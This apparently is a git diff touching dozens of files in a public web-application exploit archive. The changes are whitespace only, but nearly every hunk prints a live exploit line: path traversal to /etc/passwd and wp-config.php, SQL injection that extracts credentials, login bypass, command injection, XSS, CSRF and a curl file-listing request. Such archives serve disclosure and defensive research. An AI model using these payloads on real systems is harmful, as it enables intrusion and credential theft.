b/platforms/php/webapps/38843.txt index 182d0c66b..c1fee4a23 100755 --- a/platforms/php/webapps/38843.txt +++ b/platforms/php/webapps/38843.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor TomatoCart 1.1.8.2 is vulnerable; other versions may also be affected. -http://www.example.com//install/rpc.php?action=dbCheck&class=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg \ No newline at end of file +http://www.example.com//install/rpc.php?action=dbCheck&class=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg \ No newline at end of file diff --git a/platforms/php/webapps/38855.txt b/platforms/php/webapps/38855.txt index 9ac0a8346..c819dc1a1 100755 --- a/platforms/php/webapps/38855.txt +++ b/platforms/php/webapps/38855.txt @@ -75,7 +75,7 @@ unt in vulnerable website, in order to perform the attack. PoC ======================================================================== -Send a post request to `http://my.vulnerable.webserver/wp-admin/admin-aja= +Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-aja= x.php` with data: `action=edit_video&video_id=1 and sleep(5) ` Timeline diff --git a/platforms/php/webapps/38862.txt b/platforms/php/webapps/38862.txt index d7bde7981..259d49c93 100755 --- a/platforms/php/webapps/38862.txt +++ b/platforms/php/webapps/38862.txt @@ -15,4 +15,4 @@ Pragma: no-cache Proxy-Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 180 -thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype= \ No newline at end of file +thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype= \ No newline at end of file diff --git a/platforms/php/webapps/38870.txt b/platforms/php/webapps/38870.txt index 939d9da7a..719c0407e 100755 --- a/platforms/php/webapps/38870.txt +++ b/platforms/php/webapps/38870.txt @@ -4,4 +4,4 @@ WordPress Easy Career Openings plugin for WordPress is prone to an SQL-injection Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/career-details/?jobid=3'[Sql Injection] \ No newline at end of file +http://www.example.com/career-details/?jobid=3'[Sql Injection] \ No newline at end of file diff --git a/platforms/php/webapps/38872.php b/platforms/php/webapps/38872.php index 7521e0a60..733e5894b 100755 --- a/platforms/php/webapps/38872.php +++ b/platforms/php/webapps/38872.php @@ -16,4 +16,4 @@ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/38873.txt b/platforms/php/webapps/38873.txt index af0d2862f..3937ab7ce 100755 --- a/platforms/php/webapps/38873.txt +++ b/platforms/php/webapps/38873.txt @@ -6,4 +6,4 @@ A remote attacker could exploit the vulnerability using directory-traversal char eduTrac 1.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/installer/overview.php?step=writeconfig&showmask=../../eduTrac/Config/constants.php \ No newline at end of file +http://www.example.com/installer/overview.php?step=writeconfig&showmask=../../eduTrac/Config/constants.php \ No newline at end of file diff --git a/platforms/php/webapps/38874.txt b/platforms/php/webapps/38874.txt index f656fbf1d..5504b0861 100755 --- a/platforms/php/webapps/38874.txt +++ b/platforms/php/webapps/38874.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://example.com/user.php (POST - blog) -blog='+(SELECT 1 FROM (SELECT SLEEP(25))A)+' \ No newline at end of file +blog='+(SELECT 1 FROM (SELECT SLEEP(25))A)+' \ No newline at end of file diff --git a/platforms/php/webapps/38876.txt b/platforms/php/webapps/38876.txt index f3018a3c1..8337f0784 100755 --- a/platforms/php/webapps/38876.txt +++ b/platforms/php/webapps/38876.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues by manipulating the SQL query logic to carr EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable. -http://www.example.com/C2CForwardAuction/auction/asp/list.asp?pa=[SQL INJECTION] \ No newline at end of file +http://www.example.com/C2CForwardAuction/auction/asp/list.asp?pa=[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/38877.txt b/platforms/php/webapps/38877.txt index 94f3fdfde..078a584a8 100755 --- a/platforms/php/webapps/38877.txt +++ b/platforms/php/webapps/38877.txt @@ -9,4 +9,4 @@ EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable. www.example.com/demo/C2CForwardAuction/auction/casp/admin.asp UserID : x' or ' 1=1-- -Password : x' or ' 1=1-- \ No newline at end of file +Password : x' or ' 1=1-- \ No newline at end of file diff --git a/platforms/php/webapps/38880.txt b/platforms/php/webapps/38880.txt index 388348f68..d97eb15dd 100755 --- a/platforms/php/webapps/38880.txt +++ b/platforms/php/webapps/38880.txt @@ -4,4 +4,4 @@ Veno File Manager is prone to a vulnerability that lets attackers download arbit An attacker can exploit this issue to download arbitrary files within the context of the web server process. Information obtained may aid in further attacks. -http://www.example.com/filemanager/vfm-admin/vfm-downloader.php?q=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== \ No newline at end of file +http://www.example.com/filemanager/vfm-admin/vfm-downloader.php?q=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== \ No newline at end of file diff --git a/platforms/php/webapps/38881.html b/platforms/php/webapps/38881.html index d05c77c90..d4641df3f 100755 --- a/platforms/php/webapps/38881.html +++ b/platforms/php/webapps/38881.html @@ -22,4 +22,4 @@ id="formid" method="post"> document.getElementById('formid').submit(); </script> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/38908.txt b/platforms/php/webapps/38908.txt index 1bae3b552..fcedb78c9 100755 --- a/platforms/php/webapps/38908.txt +++ b/platforms/php/webapps/38908.txt @@ -4,4 +4,4 @@ Leed is prone to an SQL-injection vulnerability. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/leed/action.php?action=removeFolder&id=[SQL Injection] \ No newline at end of file +http://www.example.com/leed/action.php?action=removeFolder&id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/38919.txt b/platforms/php/webapps/38919.txt index a5cc26d9e..d14a5eeac 100755 --- a/platforms/php/webapps/38919.txt +++ b/platforms/php/webapps/38919.txt @@ -4,4 +4,4 @@ JForum is prone to a cross-site request-forgery vulnerability because the applic Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. -http://www.example.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2 \ No newline at end of file +http://www.example.com/forum/admBase/login.page?action=groupsSave&module=adminUsers&user_id=12696&groups=2 \ No newline at end of file diff --git a/platforms/php/webapps/38920.txt b/platforms/php/webapps/38920.txt index 6ad7e2972..3a8bc4a13 100755 --- a/platforms/php/webapps/38920.txt +++ b/platforms/php/webapps/38920.txt @@ -4,4 +4,4 @@ AFCommerce is prone to multiple remote file-include vulnerabilities because it f An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/afcontrol/adblock.php?rootpathtocart=[RFI] \ No newline at end of file +http://www.example.com/afcontrol/adblock.php?rootpathtocart=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/38921.txt b/platforms/php/webapps/38921.txt index 972ff56df..4f7f27ebd 100755 --- a/platforms/php/webapps/38921.txt +++ b/platforms/php/webapps/38921.txt @@ -4,4 +4,4 @@ AFCommerce is prone to multiple remote file-include vulnerabilities because it f An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/afcontrol/adminpassword.php?rootpathtocart=[RFI] \ No newline at end of file +http://www.example.com/afcontrol/adminpassword.php?rootpathtocart=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/38922.txt b/platforms/php/webapps/38922.txt index 2dea5e2e0..cbff3a0c8 100755 --- a/platforms/php/webapps/38922.txt +++ b/platforms/php/webapps/38922.txt @@ -4,4 +4,4 @@ AFCommerce is prone to multiple remote file-include vulnerabilities because it f An attacker can exploit these vulnerabilities to obtain potentially sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/afcontrol/controlheader.php?rootpathtocart=[RFI] \ No newline at end of file +http://www.example.com/afcontrol/controlheader.php?rootpathtocart=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/38924.txt b/platforms/php/webapps/38924.txt index 512c4bd2a..c41f90868 100755 --- a/platforms/php/webapps/38924.txt +++ b/platforms/php/webapps/38924.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain unauthorize WordPress 2.0.11 is vulnerable. -http://www.example.com/wp-admin/options-discussion.php?action=retrospam&move=true&ids=1 \ No newline at end of file +http://www.example.com/wp-admin/options-discussion.php?action=retrospam&move=true&ids=1 \ No newline at end of file diff --git a/platforms/php/webapps/38927.txt b/platforms/php/webapps/38927.txt index 8c63b13b2..9097ae8e7 100755 --- a/platforms/php/webapps/38927.txt +++ b/platforms/php/webapps/38927.txt @@ -1,4 +1,4 @@ -.__ _____ _______ + .__ _____ _______ | |__ / | |___ __\ _ \_______ ____ | | \ / | |\ \/ / /_\ \_ __ \_/ __ \ | Y \/ ^ /> <\ \_/ \ | \/\ ___/ diff --git a/platforms/php/webapps/38928.txt b/platforms/php/webapps/38928.txt index c9be0b3eb..0034210d4 100755 --- a/platforms/php/webapps/38928.txt +++ b/platforms/php/webapps/38928.txt @@ -1,4 +1,4 @@ -.__ _____ _______ + .__ _____ _______ | |__ / | |___ __\ _ \_______ ____ | | \ / | |\ \/ / /_\ \_ __ \_/ __ \ | Y \/ ^ /> <\ \_/ \ | \/\ ___/ diff --git a/platforms/php/webapps/38936.txt b/platforms/php/webapps/38936.txt index 41d2d21d9..9ac8c32b4 100755 --- a/platforms/php/webapps/38936.txt +++ b/platforms/php/webapps/38936.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to obtain sensitive information that Advanced Dewplayer 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php \ No newline at end of file +http://www.example.com/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/38938.txt b/platforms/php/webapps/38938.txt index 41a9c73e8..e43f7cb01 100755 --- a/platforms/php/webapps/38938.txt +++ b/platforms/php/webapps/38938.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor xBoard 5.0, 5.5, and 6.0 are vulnerable. -http://www.example.com/xboard/view.php?post=[LFI] \ No newline at end of file +http://www.example.com/xboard/view.php?post=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/38942.txt b/platforms/php/webapps/38942.txt index c97306c64..99ab519da 100755 --- a/platforms/php/webapps/38942.txt +++ b/platforms/php/webapps/38942.txt @@ -8,4 +8,4 @@ SPAMINA Cloud Email Firewall 3.3.1.1 is vulnerable; other versions may also be a https://www.example.com/?action=showHome&language=../../../../../../../../../../etc/passwd%00.jpg https://www.example.com/multiadmin/js/lib/?action=../../../../../../../../../../etc/passwd&language=de -https://www.example.com/index.php?action=userLogin&language=../../../../../../../../../../etc/passwd.jpg \ No newline at end of file +https://www.example.com/index.php?action=userLogin&language=../../../../../../../../../../etc/passwd.jpg \ No newline at end of file diff --git a/platforms/php/webapps/38943.txt b/platforms/php/webapps/38943.txt index 3a61bd88f..3bba12872 100755 --- a/platforms/php/webapps/38943.txt +++ b/platforms/php/webapps/38943.txt @@ -4,4 +4,4 @@ The Aclsfgpl component for Joomla! is prone to a vulnerability that lets attacke An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. -http://www.example.com/index.php?option=com_aclsfgpl&Itemid=[num]&ct=servs1&md=add_form \ No newline at end of file +http://www.example.com/index.php?option=com_aclsfgpl&Itemid=[num]&ct=servs1&md=add_form \ No newline at end of file diff --git a/platforms/php/webapps/3895.txt b/platforms/php/webapps/3895.txt index 1dd7e43ff..641b69b2f 100755 --- a/platforms/php/webapps/3895.txt +++ b/platforms/php/webapps/3895.txt @@ -1,4 +1,4 @@ -################################################## + ################################################## ## Thyme Calendar 1.3 SQL Vulnerability Exploit ## ## by Warlord ## ################################################## diff --git a/platforms/php/webapps/3901.txt b/platforms/php/webapps/3901.txt index f0bb0019b..e25f88c30 100755 --- a/platforms/php/webapps/3901.txt +++ b/platforms/php/webapps/3901.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo--------------------------------------------------- diff --git a/platforms/php/webapps/39011.txt b/platforms/php/webapps/39011.txt index 2506b233a..b63fcb55a 100755 --- a/platforms/php/webapps/39011.txt +++ b/platforms/php/webapps/39011.txt @@ -4,4 +4,4 @@ UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities be An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. -http://www.example.com/products.php?cat_id=4 \ No newline at end of file +http://www.example.com/products.php?cat_id=4 \ No newline at end of file diff --git a/platforms/php/webapps/39013.html b/platforms/php/webapps/39013.html index 5dcbcf891..a0efe1981 100755 --- a/platforms/php/webapps/39013.html +++ b/platforms/php/webapps/39013.html @@ -11,4 +11,4 @@ Exploiting the issue will allow a remote attacker to use a victim's currently ac <input type=â?hiddenâ? name=â?addnewâ? value=â?1?/> <input type=â?hiddenâ? name=â?actionâ? value=â?saveâ?/> <input type=â?hiddenâ? name=â?newâ? value=â?Submitâ?/> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/php/webapps/39015.txt b/platforms/php/webapps/39015.txt index 582ae2af9..e1b2f8fa4 100755 --- a/platforms/php/webapps/39015.txt +++ b/platforms/php/webapps/39015.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Atmail 7.1.3 is vulnerable; others versions may also be affected. - <iframe width=0 height=0 src="javascript:alert('xss in main body')"> \ No newline at end of file + <iframe width=0 height=0 src="javascript:alert('xss in main body')"> \ No newline at end of file diff --git a/platforms/php/webapps/39016.txt b/platforms/php/webapps/39016.txt index b9511ac49..09f203428 100755 --- a/platforms/php/webapps/39016.txt +++ b/platforms/php/webapps/39016.txt @@ -4,4 +4,4 @@ The Almond Classifieds Component for Joomla is prone to a vulnerability that let An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. -http://127.0.0.1/component/com_aclassfb/photos/ \ No newline at end of file +http://127.0.0.1/component/com_aclassfb/photos/ \ No newline at end of file diff --git a/platforms/php/webapps/3902.txt b/platforms/php/webapps/3902.txt index 26536cfa3..ba2a224a3 100755 --- a/platforms/php/webapps/3902.txt +++ b/platforms/php/webapps/3902.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo--------------------------------------------------- diff --git a/platforms/php/webapps/39028.txt b/platforms/php/webapps/39028.txt index 48b98b600..e2bbb1ff6 100755 --- a/platforms/php/webapps/39028.txt +++ b/platforms/php/webapps/39028.txt @@ -8,4 +8,4 @@ Sexy polling 1.0.8 is vulnerable; other versions may also be affected. http://www.example.com/components/com_sexypolling/vote.php POST -answer_id[]=[SQL Injection] \ No newline at end of file +answer_id[]=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/39058.txt b/platforms/php/webapps/39058.txt index c51ed749b..234518cb4 100755 --- a/platforms/php/webapps/39058.txt +++ b/platforms/php/webapps/39058.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to upload arbitrary files to the affected co Imageview 6.x are vulnerable; other versions may also be affected. http://www.example.com/photos/upload.php -http://www.example.com/Galerie/upload.php \ No newline at end of file +http://www.example.com/Galerie/upload.php \ No newline at end of file diff --git a/platforms/php/webapps/39060.txt b/platforms/php/webapps/39060.txt index da1d0f746..14d17eb07 100755 --- a/platforms/php/webapps/39060.txt +++ b/platforms/php/webapps/39060.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc XOS Shop 1.0 rc7o is vulnerable; other versions may also be affected. -http://www.example.com/Xoshop/shop/redirect.php?action=url&goto=[SQLI] \ No newline at end of file +http://www.example.com/Xoshop/shop/redirect.php?action=url&goto=[SQLI] \ No newline at end of file diff --git a/platforms/php/webapps/39062.txt b/platforms/php/webapps/39062.txt index 3a01480b9..0b653738a 100755 --- a/platforms/php/webapps/39062.txt +++ b/platforms/php/webapps/39062.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access ZenPhoto 1.4.4 is vulnerable; other versions may also be affected. -http://www.example.com/zenphoto/index.php?p=search&date=[SQL Injection] \ No newline at end of file +http://www.example.com/zenphoto/index.php?p=search&date=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/39063.txt b/platforms/php/webapps/39063.txt index be98d5989..69c710c3c 100755 --- a/platforms/php/webapps/39063.txt +++ b/platforms/php/webapps/39063.txt @@ -15,4 +15,4 @@ http://www.example.com/wp-e-commerce/wpsc-includes/misc.functions.php?image_name Remote code-execution http://www.example.com/wp-e-commerce/wpsc-admin/ajax.php?wpsc_action=[CMD] -http://www.example.com/wp-e-commerce/wpsc-admin/display-sales-logs.php?c=[CMD] \ No newline at end of file +http://www.example.com/wp-e-commerce/wpsc-admin/display-sales-logs.php?c=[CMD] \ No newline at end of file diff --git a/platforms/php/webapps/39065.txt b/platforms/php/webapps/39065.txt index 3c6e30227..711820dc8 100755 --- a/platforms/php/webapps/39065.txt +++ b/platforms/php/webapps/39065.txt @@ -8,4 +8,4 @@ Eventum 2.3.4 is vulnerable; other versions may also be affected. Following example URI is available. -http://www.example.com/setup/index.php \ No newline at end of file +http://www.example.com/setup/index.php \ No newline at end of file diff --git a/platforms/php/webapps/39066.txt b/platforms/php/webapps/39066.txt index b696011ba..dda6bf871 100755 --- a/platforms/php/webapps/39066.txt +++ b/platforms/php/webapps/39066.txt @@ -8,4 +8,4 @@ Eventum prior to 2.3.4 are vulnerable. Following example URL is available. -http://www.example.com/index.php?cmd=phpinfo%28%29; \ No newline at end of file +http://www.example.com/index.php?cmd=phpinfo%28%29; \ No newline at end of file diff --git a/platforms/php/webapps/39078.txt b/platforms/php/webapps/39078.txt index cf43e7c81..8ec005779 100755 --- a/platforms/php/webapps/39078.txt +++ b/platforms/php/webapps/39078.txt @@ -13,4 +13,4 @@ Web Video Streamer 1.0 is vulnerable; other versions may also be affected. http://www.example.com/webstreamer-master/player.php?name=drops.avi&file=drop.avi';ls>/tmp/foo;a'&type=video/mp4&t=1389685059 http://www.example.com/webstreamer-master/index.php?dir=../../../ XSS: http://www.example.com/webstreamer-master/player.php?name=%3Cscript%3Ealert%281%29%3C/script%3Etest -http://www.example.com/webstreamer-master/index.php?dir=../../%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/webstreamer-master/index.php?dir=../../%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/39079.txt b/platforms/php/webapps/39079.txt index dc438cf83..b321ac59d 100755 --- a/platforms/php/webapps/39079.txt +++ b/platforms/php/webapps/39079.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Atmail 7.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/[XSS] \ No newline at end of file +http://www.example.com/index.php/mail/viewmessage/getattachment/folder/INBOX/uniqueId/<ID>/filenameOriginal/[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/39080.txt b/platforms/php/webapps/39080.txt index 70d9c8322..60933cdde 100755 --- a/platforms/php/webapps/39080.txt +++ b/platforms/php/webapps/39080.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Atmail 7.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=[XSS] \ No newline at end of file +http://www.example.com/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab5?searchQuery=&goBack=6&from=&to=&subject=&body=&filter=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/39081.txt b/platforms/php/webapps/39081.txt index 78791a812..fff7afbc9 100755 --- a/platforms/php/webapps/39081.txt +++ b/platforms/php/webapps/39081.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Atmail 7.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B%5D=[XSS] \ No newline at end of file +http://www.example.com/index.php/mail/mail/movetofolder/fromFolder/INBOX/toFolder/INBOX.Trash?resultContext=messageList&listFolder=INBOX&pageNumber=1&unseen%5B21%5D=0&mailId%5B%5D=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/39087.txt b/platforms/php/webapps/39087.txt index 3de1df7fe..30b124c52 100755 --- a/platforms/php/webapps/39087.txt +++ b/platforms/php/webapps/39087.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to obtain potentially sensitive in Singapore 0.9.9b and 0.9.10 are vulnerable; other versions may also be vulnerable. -http://www.example.com/thumb.php?gallery=./00000000000-764&height=100&image=[File Upload] \ No newline at end of file +http://www.example.com/thumb.php?gallery=./00000000000-764&height=100&image=[File Upload] \ No newline at end of file diff --git a/platforms/php/webapps/39098.txt b/platforms/php/webapps/39098.txt index 64e0ee1cf..cbfaec540 100755 --- a/platforms/php/webapps/39098.txt +++ b/platforms/php/webapps/39098.txt @@ -4,4 +4,4 @@ Wire Immogest component for Joomla! is prone to an SQL-injection vulnerability b Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_wire_immogest&view=object&id=[SQL Injection] \ No newline at end of file +http://www.example.com/index.php?option=com_wire_immogest&view=object&id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/39100.txt b/platforms/php/webapps/39100.txt index 64504b2bc..5e5e5285e 100755 --- a/platforms/php/webapps/39100.txt +++ b/platforms/php/webapps/39100.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to obtain sensitive information that NextGEN Gallery 2.0.0 is vulnerable; other versions may also be affected. -curl -i -d 'dir=/etc/' http://www.example.com/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/jquery.filetree/connectors/jqueryFileTree.php \ No newline at end of file +curl -i -d 'dir=/etc/' http://www.example.com/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/nextgen_addgallery_page/static/jquery.filetree/connectors/jqueryFileTree.php \ No newline at end of file diff --git a/platforms/php/webapps/39108.txt b/platforms/php/webapps/39108.txt index 3f9621f1e..564888807 100755 --- a/platforms/php/webapps/39108.txt +++ b/platforms/php/webapps/39108.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Versions prior to POSH 3.3.0 are vulnerable. http://www.example.com/portal/addtoapplication.php?pid=0&rssurl=url,nbvariables,defvar%20FROM%20dir_item,dir_cat_item -%20WHERE%201=0%20UNION%20SELECT%201,2,3,4,5,6,(select%20group_concat(username,':',email,':',md5pass)%20from%20users),8%23 \ No newline at end of file +%20WHERE%201=0%20UNION%20SELECT%201,2,3,4,5,6,(select%20group_concat(username,':',email,':',md5pass)%20from%20users),8%23 \ No newline at end of file diff --git a/platforms/php/webapps/39109.txt b/platforms/php/webapps/39109.txt index 92fe96a33..adbc17de9 100755 --- a/platforms/php/webapps/39109.txt +++ b/platforms/php/webapps/39109.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Versions prior to Relevanssi 3.3 are vulnerable. -http://www.example.com/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi \ No newline at end of file diff --git a/platforms/php/webapps/39110.txt b/platforms/php/webapps/39110.txt index 21479f20a..4d9683f87 100755 --- a/platforms/php/webapps/39110.txt +++ b/platforms/php/webapps/39110.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Cory Jobs Search 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/coryapps/jobsearch/admincp/city.php?cid=[MySQL Injection] \ No newline at end of file +http://www.example.com/coryapps/jobsearch/admincp/city.php?cid=[MySQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/39113.txt b/platforms/php/webapps/39113.txt index 97c184d68..dfa295ee9 100755 --- a/platforms/php/webapps/39113.txt +++ b/platforms/php/webapps/39113.txt @@ -8,4 +8,4 @@ E-Store 1.0 and 2.0 are vulnerable; other versions may also be affected. http://www.example.com/page.php?id=[SQL Injection] -http://www.example.com/news.php?id=[SQL Injection] \ No newline at end of file +http://www.example.com/news.php?id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/39116.txt b/platforms/php/webapps/39116.txt index 2d60da619..b56fb6ee5 100755 --- a/platforms/php/webapps/39116.txt +++ b/platforms/php/webapps/39116.txt @@ -4,4 +4,4 @@ GNUboard is prone to multiple SQL-injection vulnerabilities because it fails to A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/bbs/ajax.autosave.php?content=1&subject=1[SQLi] \ No newline at end of file +http://www.example.com/bbs/ajax.autosave.php?content=1&subject=1[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/39124.txt b/platforms/php/webapps/39124.txt index a9c8d257c..716b8846d 100755 --- a/platforms/php/webapps/39124.txt +++ b/platforms/php/webapps/39124.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor MeiuPic 2.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/MeiuPic/?ctl=../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/MeiuPic/?ctl=../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/39126.txt b/platforms/php/webapps/39126.txt index 5be0d406b..e499be5bb 100755 --- a/platforms/php/webapps/39126.txt +++ b/platforms/php/webapps/39126.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to compromise the application, acc BIGACE Web CMS 2.7.5 is vulnerable; other versions may also be affected. -http://www.example.com/bigace_2.7.5/bigace_install_2.7.5/public/index.php?menu=3&LANGUAGE=[LFI] \ No newline at end of file +http://www.example.com/bigace_2.7.5/bigace_install_2.7.5/public/index.php?menu=3&LANGUAGE=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/39128.txt b/platforms/php/webapps/39128.txt index 9e7c4fa32..4a55d0052 100755 --- a/platforms/php/webapps/39128.txt +++ b/platforms/php/webapps/39128.txt @@ -4,4 +4,4 @@ Jorjweb is prone to an SQL-injection vulnerability because it fails to sufficien A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/ajedrez47/Paginas/info_torneo.php?id=3852'[REMOTE SQL-INJECTION WEB VULNERABILITY!]-- \ No newline at end of file +http://www.example.com/ajedrez47/Paginas/info_torneo.php?id=3852'[REMOTE SQL-INJECTION WEB VULNERABILITY!]-- \ No newline at end of file diff --git a/platforms/php/webapps/39129.txt b/platforms/php/webapps/39129.txt index 0d23fbdb4..7f84f421e 100755 --- a/platforms/php/webapps/39129.txt +++ b/platforms/php/webapps/39129.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue using directory-traversal strings to view fil qEngine 6.0.0 and 4.1.6 are vulnerable; other versions may also be affected. -http://www.example.com/qe6_0/admin/task.php?run=../../../../../../windows/win.ini \ No newline at end of file +http://www.example.com/qe6_0/admin/task.php?run=../../../../../../windows/win.ini \ No newline at end of file diff --git a/platforms/php/webapps/39136.txt b/platforms/php/webapps/39136.txt index ea4cba868..22ff890d1 100755 --- a/platforms/php/webapps/39136.txt +++ b/platforms/php/webapps/39136.txt @@ -6,4 +6,4 @@ An attacker can exploit the cross-site request forgery issue to perform unauthor Symphony version 2.3.1 and prior are vulnerable. -<img src="http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20"> \ No newline at end of file +<img src="http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20"> \ No newline at end of file diff --git a/platforms/php/webapps/39139.txt b/platforms/php/webapps/39139.txt index ba790445c..07c3cab12 100755 --- a/platforms/php/webapps/39139.txt +++ b/platforms/php/webapps/39139.txt @@ -7,4 +7,4 @@ Attackers can leverage this issue to bypass security restrictions and perform un PHPFox 3.7.3, 3.7.4 and 3.7.5 are vulnerable 